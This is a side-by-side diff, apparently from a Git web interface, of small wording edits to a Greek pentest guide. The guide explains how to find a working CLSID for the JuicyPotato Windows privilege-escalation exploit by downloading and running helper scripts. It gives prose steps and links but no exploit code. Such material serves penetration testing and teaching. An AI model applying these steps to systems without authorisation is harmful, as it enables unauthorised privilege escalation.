Συχνά, το προεπιλεγμένο CLSID που χρησιμοποιεί το JuicyPotato **δεν λειτουργεί** και το exploit αποτυγχάνει. Συνήθως χρειάζονται πολλαπλές προσπάθειες για να βρείτε ένα **λειτουργικό CLSID**. Για να πάρετε μια λίστα CLSIDs για ένα συγκεκριμένο λειτουργικό σύστημα, επισκεφτείτε αυτήν τη σελίδα:
|
Συχνά, το προεπιλεγμένο CLSID που χρησιμοποιεί το JuicyPotato **δεν λειτουργεί** και το exploit αποτυγχάνει. Συνήθως απαιτούνται πολλαπλές προσπάθειες για να βρεθεί ένα **λειτουργικό CLSID**. Για να πάρετε μια λίστα με CLSIDs για ένα συγκεκριμένο λειτουργικό σύστημα, επισκεφθείτε αυτή τη σελίδα:
|
||||||
|
|
||||||
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
|
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
|
||||||
|
|
||||||
@ -140,11 +140,11 @@ c:\Users\Public>
|
|||||||
|
|
||||||
Πρώτα, θα χρειαστείτε μερικά εκτελέσιμα αρχεία εκτός από το juicypotato.exe.
|
Πρώτα, θα χρειαστείτε μερικά εκτελέσιμα αρχεία εκτός από το juicypotato.exe.
|
||||||
|
|
||||||
Κατεβάστε [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) και φορτώστε το στη συνεδρία PS σας, και κατεβάστε και εκτελέστε [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Αυτό το script θα δημιουργήσει μια λίστα πιθανών CLSIDs για δοκιμή.
|
Κατεβάστε το [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) και φορτώστε το στη συνεδρία PS σας, και κατεβάστε και εκτελέστε το [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Αυτό το script θα δημιουργήσει μια λίστα πιθανών CLSIDs για δοκιμή.
|
||||||
|
|
||||||
Στη συνέχεια, κατεβάστε [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(αλλάξτε τη διαδρομή προς τη λίστα CLSID και προς το εκτελέσιμο του juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και **όταν αλλάξει ο αριθμός θύρας, αυτό θα σημαίνει ότι το CLSID λειτούργησε**.
|
Στη συνέχεια κατεβάστε [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(αλλάξτε τη διαδρομή προς τη λίστα CLSID και προς το εκτελέσιμο του juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και **όταν αλλάξει ο αριθμός θύρας, αυτό θα σημαίνει ότι το CLSID δούλεψε**.
|
||||||
|
|
||||||
**Ελέγξτε** τα λειτουργικά CLSIDs **χρησιμοποιώντας την παράμετρο -c**
|
**Ελέγξτε** τα CLSIDs που λειτουργούν **χρησιμοποιώντας την παράμετρο -c**
|
||||||
|
|
||||||
## Αναφορές
|
## Αναφορές
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user